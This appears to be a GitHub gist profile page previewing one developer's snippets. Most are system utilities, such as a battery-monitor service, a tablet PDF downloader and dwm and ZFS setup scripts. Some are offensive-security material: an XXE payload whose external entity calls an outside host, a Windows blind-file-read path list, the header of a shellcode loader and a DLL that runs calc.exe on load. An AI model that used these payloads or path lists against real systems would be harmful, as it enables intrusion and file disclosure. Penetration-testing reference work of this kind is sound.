Skip to content

Instantly share code, notes, and snippets.

Avatar

deadjakk

View GitHub Profile
@deadjakk
deadjakk / battery_monitor
Created March 19, 2023 19:05
OpenRC battery_monitor
View battery_monitor
#!/sbin/openrc-run
# to install: cargo install --git https://git.sr.ht/~deadjakk/batt-monitor
name="battery_monitor"
description="auto shutoff at 20% battery to prevent data loss"
command_user="root:root"
pidfile="/run/${RC_SVCNAME}.pid"
command="/sbin/battery_monitor"
command_args="-c /usr/sbin/hibernate-ram"
command_background=true
@deadjakk
deadjakk / remarkable-downloader.py
Created March 2, 2022 02:41
downloads all files or files that contain a given substring from the remarkable 2 tablet
View remarkable-downloader.py
#!/usr/bin/python3
# @deadjakk
# to use: just plug in remarkable 2 tablet, go to settings > storage > enable web application
# then run
# python3 ./remarkable-downloader.py # this downloads literally everything as a pdf
# alternatively, adding a word as an argument will only download files with that word in the name
# python3 ./remarkable-downloader.py "math-notes" # this downloads math-notes.pdf
# this could be cleaner... but I no longer use/have a remarkable 2 so I probably won't bother
@deadjakk
deadjakk / xinitrc-xsession-install.sh
Created October 21, 2021 17:54
Install xinitrc as an xsession file
View xinitrc-xsession-install.sh
#!/bin/bash
echo installing xinitrc-xsession
git clone https://aur.archlinux.org/xinit-xsession.git /tmp/xinit-xsession
cd /tmp/xinit-xsession
doas cp xinitrcsession-helper /usr/bin/
doas chmod +x /usr/bin/xinitrcsession-helper
doas cp xinitrc.desktop /usr/share/xsessions/
@deadjakk
deadjakk / windows-files.txt
Last active May 24, 2021 22:37
Mirror of windows blind file list original source: https://github.com/soffensive/windowsblindread
View windows-files.txt
c:/all.txt
c:/apache2/log/access_log
c:/apache2/log/access.log
c:/apache2/log/error_log
c:/apache2/log/error.log
c:/apache2/logs/access_log
c:/apache2/logs/access.log
c:/apache2/logs/error_log
c:/apache2/logs/error.log
c:/apache/log/access_log
@deadjakk
deadjakk / dwm_status.sh
Last active October 21, 2022 06:19
Outputs status information to dwm status bar.
View dwm_status.sh
#!/bin/bash
# Original source: https://raw.githubusercontent.com/kaihendry/dotfiles/master/bin/dwm_status
# Network speed stuff stolen from http://linuxclues.blogspot.sg/2009/11/shell-script-show-network-speed.html
print_wifi() {
ip=$(ip route get 8.8.8.8 2>/dev/null|grep -Eo 'src [0-9.]+'|grep -Eo '[0-9.]+')
if=wlan0
while IFS=$': \t' read -r label value
do
case $label in SSID) SSID=$value
@deadjakk
deadjakk / XXE_payloads
Last active May 24, 2021 02:17 — forked from staaldraad/XXE_payloads
XXE Payloads
View XXE_payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@deadjakk
deadjakk / encrypted-zfs-home.sh
Created January 27, 2021 04:26
Quick script to create an encrypted luks container, create a zfs pool for it along with a mount point, add a new user, then write the crypttab line for boot
View encrypted-zfs-home.sh
#!/bin/bash
echo "enter username:"
read USERNAME
echo "enter # of gigabytes the home drive should be, just the number"
read SIZE
echo "Executing:" "sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G"
cd /
sudo adduser $USERNAME
sudo rm -rf /home/${USERNAME} # removing the home directory it created
sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G
@deadjakk
deadjakk / shellcodeLoader.go
Created January 12, 2021 20:46 — forked from mgeeky/shellcodeLoader.go
Simple Shellcode loader implemented in Golang
View shellcodeLoader.go
//
// Simple Shellcode loader implemented in Golang.
//
// Compilation:
// $ go build -o foo.exe shellcodeLoader.go
//
// Mariusz B. / mgeeky (@mariuszbit), '20
// <mb@binary-offensive.com>
//
@deadjakk
deadjakk / messagebox.go
Created January 12, 2021 20:41 — forked from NaniteFactory/messagebox.go
Win32 API MessageBox() in Golang
View messagebox.go
import (
"syscall"
"unsafe"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
@deadjakk
deadjakk / winexec-lib.rs
Last active January 12, 2021 04:10
Minimal example, loading rust dll into c to call WinAPI (for reference)
View winexec-lib.rs
#[link(name="kernel32")]
extern "system" {
fn WinExec(lpstr: *mut u8,cmdshow: u32)->u32;
}
#[no_mangle] // needs to precede every function you wish to call from c
extern "system" fn DllMain(_: *const u8, _: u32, _: *const u8) -> u32 {
let ret = unsafe {
WinExec(['c' as u8 , 'a' as u8 ,'l' as u8, 'c' as u8, '.' as u8, 'e' as u8, 'x' as u8 , 'e' as u8, '\0' as u8].as_mut_ptr(), 1);
};